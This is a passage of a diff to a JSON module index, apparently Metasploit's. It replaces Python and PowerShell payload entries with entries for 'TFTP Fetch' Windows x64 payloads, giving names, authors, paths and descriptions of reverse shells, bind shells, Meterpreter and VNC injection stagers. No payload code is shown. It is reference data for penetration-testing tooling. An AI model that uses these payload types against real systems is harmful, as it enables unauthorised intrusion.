+ "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp", "aliases": [ ], @@ -190385,12 +199867,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Ben Turner", - "Dave Hardy" + "Brendan Watters", + "sf " ], - "description": "Interacts with a powershell session on an established socket connection", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -190398,10 +199880,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190410,9 +199892,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell_reverse_tcp_ssl": { - "name": "Windows Interactive Powershell Session, Reverse TCP SSL", - "fullname": "payload/cmd/windows/powershell_reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -190420,12 +199902,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Ben Turner", - "Dave Hardy" + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Interacts with a powershell session on an established SSL socket connection", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -190433,10 +199916,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell_reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -190445,9 +199928,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/bind_tcp": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", - "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp", + "payload_cmd/windows/tftp/x64/shell/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_named_pipe", "aliases": [ ], @@ -190455,9 +199938,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "UserExistsError" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", "references": [ ], @@ -190467,10 +199952,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -190479,9 +199964,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/shell/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp", "aliases": [ ], @@ -190489,10 +199974,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "OJ Reeves" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", "references": [ ], @@ -190502,10 +199987,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190514,9 +199999,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/reverse_http": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_http", + "payload_cmd/windows/tftp/x64/shell/bind_tcp_rc4": { + "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_rc4", "aliases": [ ], @@ -190524,9 +200009,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ ], @@ -190536,21 +200027,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_http", + "ref_name": "cmd/windows/tftp/x64/shell/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/reverse_https": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_https", + "payload_cmd/windows/tftp/x64/shell/bind_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_uuid", "aliases": [ ], @@ -190558,9 +200049,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", "references": [ ], @@ -190570,10 +200063,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_https", + "ref_name": "cmd/windows/tftp/x64/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -190582,9 +200075,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/reverse_tcp": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp", + "payload_cmd/windows/tftp/x64/shell/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp", "aliases": [ ], @@ -190592,9 +200085,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -190604,10 +200098,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190616,9 +200110,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/shell/reverse_tcp_rc4": { + "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_rc4", "aliases": [ ], @@ -190626,11 +200120,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Campbell ", + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ ], @@ -190640,21 +200138,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/shell/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/shell/reverse_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_uuid", "aliases": [ ], @@ -190662,10 +200160,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "sf ", "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -190675,10 +200174,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -190687,9 +200186,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter_bind_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/python/meterpreter_bind_tcp", + "payload_cmd/windows/tftp/x64/shell_bind_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/tftp/x64/shell_bind_tcp", "aliases": [ ], @@ -190697,9 +200196,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection and spawn a command shell (Windows x64)", "references": [ ], @@ -190709,10 +200209,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190721,9 +200221,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter_reverse_http": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", - "fullname": "payload/cmd/windows/python/meterpreter_reverse_http", + "payload_cmd/windows/tftp/x64/shell_reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/tftp/x64/shell_reverse_tcp", "aliases": [ ], @@ -190731,9 +200231,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a command shell (Windows x64)", "references": [ ], @@ -190743,10 +200244,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_reverse_http", + "ref_name": "cmd/windows/tftp/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190755,9 +200256,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter_reverse_https": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", - "fullname": "payload/cmd/windows/python/meterpreter_reverse_https", + "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp", "aliases": [ ], @@ -190765,11 +200266,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190777,10 +200280,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_reverse_https", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190789,9 +200292,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/meterpreter_reverse_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", - "fullname": "payload/cmd/windows/python/meterpreter_reverse_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -190799,11 +200302,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190811,10 +200317,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -190823,9 +200329,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/pingback_bind_tcp": { - "name": "Python Exec, Python Pingback, Bind TCP (via python)", - "fullname": "payload/cmd/windows/python/pingback_bind_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_named_pipe", "aliases": [ ], @@ -190833,12 +200339,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "asoto-r7" + "Brendan Watters", + "sf ", + "UserExistsError" ], - "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a pipe connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190846,10 +200354,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/pingback_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -190858,9 +200366,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/pingback_reverse_tcp": { - "name": "Python Exec, Python Pingback, Reverse TCP (via python)", - "fullname": "payload/cmd/windows/python/pingback_reverse_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp", "aliases": [ ], @@ -190868,12 +200376,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "asoto-r7" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190881,10 +200390,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/pingback_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190893,9 +200402,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/shell_bind_tcp": { - "name": "Python Exec, Command Shell, Bind TCP (via python)", - "fullname": "payload/cmd/windows/python/shell_bind_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_rc4": { + "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_rc4", "aliases": [ ], @@ -190903,12 +200412,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "mumbai" + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190916,21 +200431,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/shell_reverse_sctp": { - "name": "Python Exec, Command Shell, Reverse SCTP (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_sctp", + "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_uuid", "aliases": [ ], @@ -190938,12 +200453,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190951,10 +200468,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_sctp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -190963,9 +200480,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/shell_reverse_tcp": { - "name": "Python Exec, Command Shell, Reverse TCP (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_tcp", + "payload_cmd/windows/tftp/x64/vncinject/reverse_http": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_http", "aliases": [ ], @@ -190973,12 +200490,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Campbell " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190986,10 +200505,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -190998,9 +200517,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/shell_reverse_tcp_ssl": { - "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/vncinject/reverse_https": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_https", "aliases": [ ], @@ -191008,12 +200527,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "sf ", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191021,10 +200544,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -191033,9 +200556,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/python/shell_reverse_udp": { - "name": "Python Exec, Command Shell, Reverse UDP (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_udp", + "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp", "aliases": [ ], @@ -191043,12 +200566,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191056,10 +200580,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_reverse_udp", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -191068,9 +200592,9 @@ "session_types": 